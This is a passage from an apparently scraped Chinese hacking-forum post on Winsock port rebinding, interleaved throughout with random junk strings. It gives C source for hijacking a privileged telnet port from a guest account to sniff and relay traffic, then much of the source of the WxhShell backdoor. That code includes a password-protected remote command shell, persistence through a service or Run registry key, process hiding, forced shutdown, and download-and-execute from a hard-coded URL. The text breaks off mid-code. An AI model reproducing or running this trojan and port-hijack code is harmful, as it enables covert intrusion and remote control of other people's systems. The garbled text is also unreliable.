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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: PK\ZRl  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); }\4yU=JP K  
\i.]-k  
  saddr.sin_family = AF_INET; =?sG~  
'Waa zk[@O  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); c-Gp|.C  
;?h[WIy  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); tr<~:&H4T  
*_V+K  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Xfiwblg  
S zo'[/ [R  
  这意味着什么?意味着可以进行如下的攻击: 1\hLwG6Jj  
LIg1U  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Q3@zUjq_Q  
yi7.9/;a  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) R >xd*A  
L*z=!Dpo  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 p1N}2]e  
Q_mphW:[  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  lyn%r  
]jT}]9Q$  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 E'iE#He  
InPE_  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 !gh8 Qs  
>%/x~UFc5  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Tigw+2  
'g#%>  
  #include xAm tm"  
  #include Bdo{zv&A  
  #include %m&6'Rpfk  
  #include    .?}M(mL  
  DWORD WINAPI ClientThread(LPVOID lpParam);   y)kxR  
  int main() ?v^NimcZ  
  { QM,#:m1o  
  WORD wVersionRequested; Vl.,e1)6  
  DWORD ret; _p$/.~Xo9  
  WSADATA wsaData; Yf0 KG  
  BOOL val; mK:gj&N7X|  
  SOCKADDR_IN saddr; U`v2Yw3E  
  SOCKADDR_IN scaddr; |q`NJ  
  int err; X[tt'5  
  SOCKET s; &V4Zm n?UU  
  SOCKET sc; pcMzLMG<  
  int caddsize; Xhe& "rM  
  HANDLE mt; +\!.X _Ij  
  DWORD tid;   GRZz@bAO?$  
  wVersionRequested = MAKEWORD( 2, 2 ); )uqzu%T  
  err = WSAStartup( wVersionRequested, &wsaData ); Ny^ 1#R  
  if ( err != 0 ) { ]r`;89:s>  
  printf("error!WSAStartup failed!\n"); & ALnE:F  
  return -1; 0C4eer+D  
  } j6%W+;{/pj  
  saddr.sin_family = AF_INET; G,C`+1$*  
   % /:1eE`!S  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 U]hqRL  
$dfc@Fn^x  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); bBIh}aDN  
  saddr.sin_port = htons(23); z'l$;9(y  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ZRMim6a4X  
  { ]V"P &; m  
  printf("error!socket failed!\n"); V?XQjH1X  
  return -1; [?K>s>it  
  } ERPg TZT  
  val = TRUE; u\LNJo| B  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Jg#0g eU  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) !*]i3 ,{7v  
  { k>&cHCS`*  
  printf("error!setsockopt failed!\n"); Q/o,2R  
  return -1; RV~t%Sw^  
  } h@RpS8!Bi  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 3IYFvq~  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 bPVk5G*ruP  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 zPnb_[YF  
SkuR~!  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) FJn-cR.n  
  { s|%R  
  ret=GetLastError(); /LFuf`bXV  
  printf("error!bind failed!\n"); >zJHvb)b\  
  return -1; oAO{4xP  
  } $;5Q mKQ'  
  listen(s,2); E2DfG^sGV  
  while(1) `r$7Cc$C  
  { S]3CRJU3`  
  caddsize = sizeof(scaddr); 5 `1  
  //接受连接请求 HH*y$  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); >/ay'EyY;>  
  if(sc!=INVALID_SOCKET) [}szM^  
  { m>=DJ{KQ  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Vh~hfj"  
  if(mt==NULL) ZLjAhd)  
  { bK:U:vpYm  
  printf("Thread Creat Failed!\n"); 0AHQ(+Ap  
  break; Wt/;iq"  
  } [ar0{MPYd  
  } aL1%BGlmZ<  
  CloseHandle(mt); G*IP?c>=  
  } "$(+M t^  
  closesocket(s); _(-jk4 L  
  WSACleanup(); ^QNc!{`  
  return 0; s4bV0k  
  }   ROFZ*@CH<  
  DWORD WINAPI ClientThread(LPVOID lpParam) .D@J\<,+l  
  { 9FDu{4:  
  SOCKET ss = (SOCKET)lpParam; NQ`D"n  
  SOCKET sc; lpG%rN!  
  unsigned char buf[4096]; v+LJx    
  SOCKADDR_IN saddr; 'xH^ksb"  
  long num; rZ?:$],U!  
  DWORD val; *}\M!u{J  
  DWORD ret; - rO34l  
  //如果是隐藏端口应用的话,可以在此处加一些判断 %o8o~B|{.U  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Y,s EM%  
  saddr.sin_family = AF_INET; $Ivjcs:  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); b`X''6  
  saddr.sin_port = htons(23); e!5} #6Kd  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) %>FtA)  
  { >NUbk9}J4  
  printf("error!socket failed!\n"); HoPpUq5,  
  return -1; c|/HX%Y  
  } R!dC20IMvH  
  val = 100; m?kiGC&m  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) c`<2&ke  
  { ~ *&\5rPb  
  ret = GetLastError(); ~xd?y*gk;  
  return -1; s#Dj>Fej  
  } r,;ca6>5H  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ) lUS'I  
  { 0j@mzd2  
  ret = GetLastError(); NifQsy)*%  
  return -1; yX!u&  
  } ~A>fB2.pM  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) g,d_  
  { x^K4&'</  
  printf("error!socket connect failed!\n"); (p2`ofj  
  closesocket(sc); =\6)B{#T  
  closesocket(ss); nkHl;;WJ  
  return -1; ]c>@RXY'  
  } J];Sj  
  while(1) ?I?G+(bq  
  { ^xHKoOTj[  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Ze V@ X  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 _*~F1% d  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 y`RzcXblIZ  
  num = recv(ss,buf,4096,0); :UdW4N-  
  if(num>0) NQqw|3  
  send(sc,buf,num,0); ]q"&V\b  
  else if(num==0) [-\Y?3  
  break; 7wj2-BWa  
  num = recv(sc,buf,4096,0); lgews"  
  if(num>0) yv-R<c!'  
  send(ss,buf,num,0); dBI-y6R  
  else if(num==0) O&?i#@5#  
  break; |jIHgm  
  } hJM& rM7  
  closesocket(ss); eu5te0{G  
  closesocket(sc); CtY-Gs  
  return 0 ; d7^ `  
  } <%^/uS  
x;[ .ZzQ  
z)T-<zWO;  
========================================================== 4.,EKw3  
#R5\k-I  
下边附上一个代码,,WXhSHELL Ii+3yE@c  
6Rfv3  
========================================================== y11^q*}  
Z 7@'I0;A  
#include "stdafx.h" ^ =C>  
0$|VkMq(  
#include <stdio.h> !l*A3qA  
#include <string.h> pwN2Nzski  
#include <windows.h> >7BP}5`.;  
#include <winsock2.h> \~#\ [r_  
#include <winsvc.h> Owf!dMA;nF  
#include <urlmon.h> cB,^?djJ3  
5.^pD9[mT  
#pragma comment (lib, "Ws2_32.lib") \hX,z =  
#pragma comment (lib, "urlmon.lib") 8sj2@d  
[<=RsD_q~  
#define MAX_USER   100 // 最大客户端连接数 -o+t&m  
#define BUF_SOCK   200 // sock buffer r $S9/  
#define KEY_BUFF   255 // 输入 buffer 1 fcV&qHR  
A}Iyl   
#define REBOOT     0   // 重启 $tu   
#define SHUTDOWN   1   // 关机 !IOmJpl'  
3.YH7rN  
#define DEF_PORT   5000 // 监听端口 oVw4M2!"K  
XtO..{qU  
#define REG_LEN     16   // 注册表键长度 3@=<4$  
#define SVC_LEN     80   // NT服务名长度 vGyQ306  
'5aA+XP|  
// 从dll定义API (`4&h%g  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ?`TJ0("z"  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Mh`^-*c?  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); #N`'hPD}  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); I0Do%  
Q3>qT84  
// wxhshell配置信息 '\{ OQ H  
struct WSCFG { U>t:*SNC*  
  int ws_port;         // 监听端口 oRd{?I&NY  
  char ws_passstr[REG_LEN]; // 口令 il >+jVr  
  int ws_autoins;       // 安装标记, 1=yes 0=no ^(&2  
  char ws_regname[REG_LEN]; // 注册表键名 iY>x x~V  
  char ws_svcname[REG_LEN]; // 服务名 cPIyD?c  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 xLIyh7$t  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 8!v|`Ky  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 w'}s'gGE  
int ws_downexe;       // 下载执行标记, 1=yes 0=no n^QDMyC;I  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" xF UD9TM  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Yy 4Was#  
TJP;!uX  
}; 5 n4/}s  
+PYR  
// default Wxhshell configuration <;i&-,  
struct WSCFG wscfg={DEF_PORT, 3=]/+{B  
    "xuhuanlingzhe", NZ`6iK-V_  
    1, e~QLzZ3  
    "Wxhshell", _`Kh8G {e  
    "Wxhshell", %/zHL?RqJ  
            "WxhShell Service", =SJ[)|  
    "Wrsky Windows CmdShell Service", yzpa\[^  
    "Please Input Your Password: ", Rt%Dps%  
  1, N+SA$wG  
  "http://www.wrsky.com/wxhshell.exe", Ge$&k  
  "Wxhshell.exe" PvUY Q>Kw  
    }; y3*IF2G  
w}}+8mk[  
// 消息定义模块 5YZ\@<|rH  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ;2 o{ 6  
char *msg_ws_prompt="\n\r? for help\n\r#>"; w;VUP@Wm  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; \^F6)COy  
char *msg_ws_ext="\n\rExit."; |RpZr!3V  
char *msg_ws_end="\n\rQuit."; 3I?yRE  
char *msg_ws_boot="\n\rReboot..."; unL1/JY z  
char *msg_ws_poff="\n\rShutdown..."; JmF`5  
char *msg_ws_down="\n\rSave to "; avS9"e  
-NG9?sI\U  
char *msg_ws_err="\n\rErr!"; 5}N O~Xd<  
char *msg_ws_ok="\n\rOK!"; 7.5\LTM>9e  
[u3^R]  
char ExeFile[MAX_PATH]; w*SFQ_6YE  
int nUser = 0; n=fR%<v  
HANDLE handles[MAX_USER]; ,v| vgt  
int OsIsNt; !x:w2  
Rx<[bohio  
SERVICE_STATUS       serviceStatus; lSId<v?C>  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; RmN\;G?}  
d@|j>Z  
// 函数声明 p|Fhh\,*`X  
int Install(void); >|T?87  
int Uninstall(void); .>zkS*oX4z  
int DownloadFile(char *sURL, SOCKET wsh); of<>M4/g4y  
int Boot(int flag); WY~}sE  
void HideProc(void); I(WND/&  
int GetOsVer(void); \;tKss!|  
int Wxhshell(SOCKET wsl); [TV"mA  
void TalkWithClient(void *cs); m4P=,=%  
int CmdShell(SOCKET sock); ,v1-y ?kB  
int StartFromService(void); EZiGi[t7  
int StartWxhshell(LPSTR lpCmdLine); B<'V7#L_  
;lWy?53=@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); @p2dXJeR<  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); b_Ky@kp  
7e#|=e *I!  
// 数据结构和表定义 5p{tt;9[  
SERVICE_TABLE_ENTRY DispatchTable[] = :S7yM8 b`  
{ FkE CY  
{wscfg.ws_svcname, NTServiceMain}, u&I~%s  
{NULL, NULL} R}+/jh2O|  
}; )@`w^\E_~_  
+TX p;6pA  
// 自我安装 Sdt2D  
int Install(void) ;1OTK6  
{ f&cG;Y  
  char svExeFile[MAX_PATH]; qaGIU`}:$A  
  HKEY key; yb**|[By  
  strcpy(svExeFile,ExeFile); yZ)ScB^  
6nSk,yE'hE  
// 如果是win9x系统,修改注册表设为自启动 c!\y\r  
if(!OsIsNt) { i+cGw  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { u]MF r2  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6k3l/~R  
  RegCloseKey(key); hJ4.:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { x?<5=,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /7"1\s0U  
  RegCloseKey(key); /tv;W  
  return 0; 246lFx G.  
    } h+^T);h};|  
  } YV940A-n  
} Tk2kis(n  
else { ?RzT0HRd  
0 De M  
// 如果是NT以上系统,安装为系统服务 dO//  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); CC-:dNb  
if (schSCManager!=0) ?Ru`ma\;  
{ O`0$pn  
  SC_HANDLE schService = CreateService d=KOV;~);  
  ( n)7icSc  
  schSCManager, lM1!2d'P  
  wscfg.ws_svcname, S'JeA>L  
  wscfg.ws_svcdisp, ,] {NZ9  
  SERVICE_ALL_ACCESS, d$,i?d,  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ^[Er%yr0  
  SERVICE_AUTO_START, {n{}Y.  
  SERVICE_ERROR_NORMAL, F i/G, [q  
  svExeFile, .- Lqo=o\  
  NULL, 7h0'R k  
  NULL, l>(G3l Iw  
  NULL, #Fd( [Zx#.  
  NULL, Z =c@Gd  
  NULL KJ)&(Yx  
  ); @Kr)$F  
  if (schService!=0) '> Q$5R1  
  { QMxz@HGa|  
  CloseServiceHandle(schService); *vO'Z &  
  CloseServiceHandle(schSCManager); U[D<%7f  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); /a|NGh%  
  strcat(svExeFile,wscfg.ws_svcname); ncdr/(`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { `~]ReJ!X%  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Fb' wC  
  RegCloseKey(key); Zn0fgQd  
  return 0; *a%PA(%6  
    } r*wKYb  
  } U}0/V c26  
  CloseServiceHandle(schSCManager); Wd5t,8*8  
} "y0 A<-~  
} NLGr=*dq  
.Cus t  
return 1; s- V$N  
} k>CtWV5B  
;LE @Ezx  
// 自我卸载 ~`E4E  
int Uninstall(void) (FYJ^o  
{ i|^6s87"N2  
  HKEY key; <6~;-ZQY  
3p W MS&  
if(!OsIsNt) { wS0bk<(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }AqD0Qd2Hj  
  RegDeleteValue(key,wscfg.ws_regname);  vB*oI~<  
  RegCloseKey(key); K:@=W1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %Ab_PAw  
  RegDeleteValue(key,wscfg.ws_regname); QZox3LM1&.  
  RegCloseKey(key); ZG<!^tj  
  return 0; r![JPhei  
  } r_E)HL/A  
} Z|% 2495\  
} np^<HfYV  
else { Fd&!-` T?  
ONiI:Z>%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); X2YOD2<v  
if (schSCManager!=0) E57{*C  
{ ha! "BR  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ok2~B._+;  
  if (schService!=0) S5KYZ W  
  { X", 0VO  
  if(DeleteService(schService)!=0) { ](:FW '-  
  CloseServiceHandle(schService); c@7hLUaE2  
  CloseServiceHandle(schSCManager); /+`<X%^U  
  return 0; mS}x2 &  
  } h)^A3;2F  
  CloseServiceHandle(schService); !o':\hex6  
  } cCGXB|9fYR  
  CloseServiceHandle(schSCManager); O:tX0<6  
} bXwoJ2  
} F(~_L.  
"ak9LZQ9z  
return 1; fbTw6Fde$  
} :;;WK~* #  
qK vr*xlC  
// 从指定url下载文件 'Sy *'&  
int DownloadFile(char *sURL, SOCKET wsh)  0(/D|  
{ etMh=/NFV  
  HRESULT hr; vSC0D7BlG  
char seps[]= "/"; 8{SU?MHQLE  
char *token; q,+kPhHEgy  
char *file; "Lq|66  
char myURL[MAX_PATH]; F*JvpI[7n  
char myFILE[MAX_PATH]; 56SS >b  
]'!xc9KGR  
strcpy(myURL,sURL); i(yAmo9h  
  token=strtok(myURL,seps); I cR;A\z  
  while(token!=NULL) Tb1}XvZ  
  { 66@3$P%1p  
    file=token; Xu94v{u3  
  token=strtok(NULL,seps); Oqpl2Y"/  
  } R 4$Q3vcH  
{_XrZ(y/  
GetCurrentDirectory(MAX_PATH,myFILE); sC5uA .?>9  
strcat(myFILE, "\\"); k3>ur>aW  
strcat(myFILE, file); QK!:q{  
  send(wsh,myFILE,strlen(myFILE),0); ) Zb`~w  
send(wsh,"...",3,0); vo6[2.HS  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Wd` QpW  
  if(hr==S_OK) u2-@?yt  
return 0; Zp(=[n5  
else &xBK\  
return 1; '`]n_$f'  
x #tu  
} |v$%V#Bo  
:\+{;;a@  
// 系统电源模块 9U=fJrj'u  
int Boot(int flag) X(y  
{ Uc&6=5~Ys\  
  HANDLE hToken; lQdnL.w$.4  
  TOKEN_PRIVILEGES tkp; =l8!VJa  
i,'Ka[6   
  if(OsIsNt) { wAu[pWD'6;  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);  t$H':l0  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); F8[B^alAe  
    tkp.PrivilegeCount = 1; Rct"\{V')n  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; b@wBR9s  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); UEEBWzH  
if(flag==REBOOT) { )pjjW"C+  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) :J Gl>V  
  return 0; &R'w-0k_  
} 1c)\  
else { A-a17}fta  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) A \MfF  
  return 0; H ~[LJ5x  
} #ox9&  
  } }{&l n  
  else { &\1'1`N1  
if(flag==REBOOT) { kRN|TDx(  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) R%b*EBZ  
  return 0; ).NcLJw_  
} 8ji^d1G,  
else { w.J%qWJq  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Xr?>uqY!M  
  return 0; U#;51 _  
} YVB% kKv{  
} <I7(eh6d  
lx{.H,1~  
return 1; %bIsrQ~B  
} B*?ZE4`  
ZjU=~)O}H  
// win9x进程隐藏模块 y$IaXr5L  
void HideProc(void) /x  
{ y#S1c)vU  
W\it+/  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ycgfZ 3K  
  if ( hKernel != NULL ) 8yE!7$Mj  
  { CN.6E<9'kK  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Mn]}s:v  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); p`>AnfG  
    FreeLibrary(hKernel); 2X|CuL{]  
  } 6xQ"bFm  
`nT?6gy  
return; [O^}rUqq  
} .aNO( /kO  
f%2%T'Q  
// 获取操作系统版本 89zuL18V  
int GetOsVer(void) z*6$&sS\>  
{ W`#gpi)7N  
  OSVERSIONINFO winfo; r2RBrZ@1  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); It%T7 X#  
  GetVersionEx(&winfo); mT96 ]V \  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) " Wp   
  return 1; +.w[6  
  else oG!6}5  
  return 0; X(IyvfC  
} /sy-;JDnsu  
+Dv7:x7  
// 客户端句柄模块 7g-Dfg.w  
int Wxhshell(SOCKET wsl) {3_Gjb5\\4  
{ MzcB3pi  
  SOCKET wsh; s~L`53A  
  struct sockaddr_in client; qtO1hZ  
  DWORD myID; c8T/4hU MN  
FIH@2zA  
  while(nUser<MAX_USER) R0{Qy*YQ`  
{ Q\H_t)-  
  int nSize=sizeof(client); pg+b[7  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); vyE{WkZxR  
  if(wsh==INVALID_SOCKET) return 1; 2zhn`m  
0}B?sNr  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); k!&:(]  
if(handles[nUser]==0) &1P(O\ d  
  closesocket(wsh); YUCC*t  
else GjEqU;XBi  
  nUser++; >E, Q  
  } 1t.R+1[c  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); @a0Q0M  
fTcY"A,2  
  return 0; &Y+e=1a+  
} 4h;4!I|  
^_sQG  
// 关闭 socket Yr=8!iR$  
void CloseIt(SOCKET wsh) ^+wk  
{ RB [/q:  
closesocket(wsh); \0nlPXk?G  
nUser--; iA9 E^  
ExitThread(0); 88+ =F XG  
} e9 *lixh  
wqP2Gw7jh6  
// 客户端请求句柄 BX*69  
void TalkWithClient(void *cs) dq(E&`SzK  
{ r_^)1w  
~q 7;8<U  
  SOCKET wsh=(SOCKET)cs; g rspt}  
  char pwd[SVC_LEN]; tF^g<)S;t  
  char cmd[KEY_BUFF]; ->h5T%sn  
char chr[1]; o5SQ1;`   
int i,j; q6R Eh;$  
OM)3Y6rK  
  while (nUser < MAX_USER) { 6T_K9  
*GJ:+U&m[  
if(wscfg.ws_passstr) { TcJ$[  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); a~opE!|m  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); t+O e)Ns  
  //ZeroMemory(pwd,KEY_BUFF); 8eN7VT eb  
      i=0; i$C-)d]  
  while(i<SVC_LEN) { s1 bU  
nR[^|CAR  
  // 设置超时  m*dNrG  
  fd_set FdRead; k3>YBf`fC  
  struct timeval TimeOut; |cgui  
  FD_ZERO(&FdRead); F?BS717qS%  
  FD_SET(wsh,&FdRead); 0e16Ow6\!1  
  TimeOut.tv_sec=8; APq7 f8t  
  TimeOut.tv_usec=0; 8I.VJ3Q  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); moZm0` WR  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ugLlI2 nJ  
y3JMbl[S0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;&S;%W>|  
  pwd=chr[0]; KmmQ,e%  
  if(chr[0]==0xd || chr[0]==0xa) { <<,>S&/  
  pwd=0; RV;!05^<  
  break; `N'V#)Pi  
  } : G=FiC  
  i++; 59lj7  
    } <cj{Qk  
]iVLHVqz  
  // 如果是非法用户,关闭 socket u-:Ic.ZV  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 4TZ cc|B5  
} cP rwW 6  
jDX>izg;V  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); (>7>3  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -c+]Wm"\  
Ej"u1F14J  
while(1) { h/m6)m.D  
|`0n"x7  
  ZeroMemory(cmd,KEY_BUFF); gKi{Y1  
|]sx+NlNc  
      // 自动支持客户端 telnet标准   ^RNOcM|  
  j=0; L'E^c,-x~  
  while(j<KEY_BUFF) { L l}yJ#3,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); tJU-<{8  
  cmd[j]=chr[0]; 76@qHTh }  
  if(chr[0]==0xa || chr[0]==0xd) { U(,.D}PG  
  cmd[j]=0; >5ChcefH  
  break; "#4dW7E  
  }  f^b K=#  
  j++; fk{0d  
    } G%{0i20_  
t'(1I|7  
  // 下载文件 [po "To  
  if(strstr(cmd,"http://")) { 1@qgF  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); OZ(dpV9.S  
  if(DownloadFile(cmd,wsh)) d%ME@6K)  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); |"Z{I3Umg  
  else c$h9/H=~  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X.V[0$.;  
  } -t-tn22  
  else { ]Kh2;>= Xj  
fZ{[]dn[  
    switch(cmd[0]) { )jDJMi_[  
  Nneo{j  
  // 帮助 &c%Y<1e`%  
  case '?': { =RsXI&&vh  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ,wj"! o#  
    break; eV};9VJ$F  
  } Q8nId<\(  
  // 安装 `dW]4>`O  
  case 'i': { |i7a@'0)  
    if(Install()) eJ@~o{,?>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K=\O5#F?3  
    else p]T"|!d  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7Y( 5]A9=  
    break; QP(BZJC  
    } I;MD>%[W,  
  // 卸载 B[o`k]]  
  case 'r': { /-M@[p&  
    if(Uninstall()) T.:+3:8|F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #x@eDnb_  
    else ftbpqp'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ccJM>9  
    break; 04@cLDX8uB  
    } z\!K<d"Xv  
  // 显示 wxhshell 所在路径 N{Qxq>6 G  
  case 'p': { S: :>N.y  
    char svExeFile[MAX_PATH]; sRhKlUJG  
    strcpy(svExeFile,"\n\r"); Ym8}ZW-  
      strcat(svExeFile,ExeFile); !CY&{LEYn0  
        send(wsh,svExeFile,strlen(svExeFile),0); F"jt&9jg  
    break; +[-i%b3q  
    } |oFAGP1  
  // 重启 []pN$]+c  
  case 'b': { b/("Y.r=  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); E/b"RUv}h  
    if(Boot(REBOOT))  %Y nmuZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  iThSt72  
    else { ~Ci{3j :]  
    closesocket(wsh); a2@c%i  
    ExitThread(0); | A)\ :  
    } !cX[-}Q  
    break; +cu^%CXT  
    } z8_XX$Mnt  
  // 关机 } p:%[  
  case 'd': { >{zk qvsQ&  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); V9%aBkf8w  
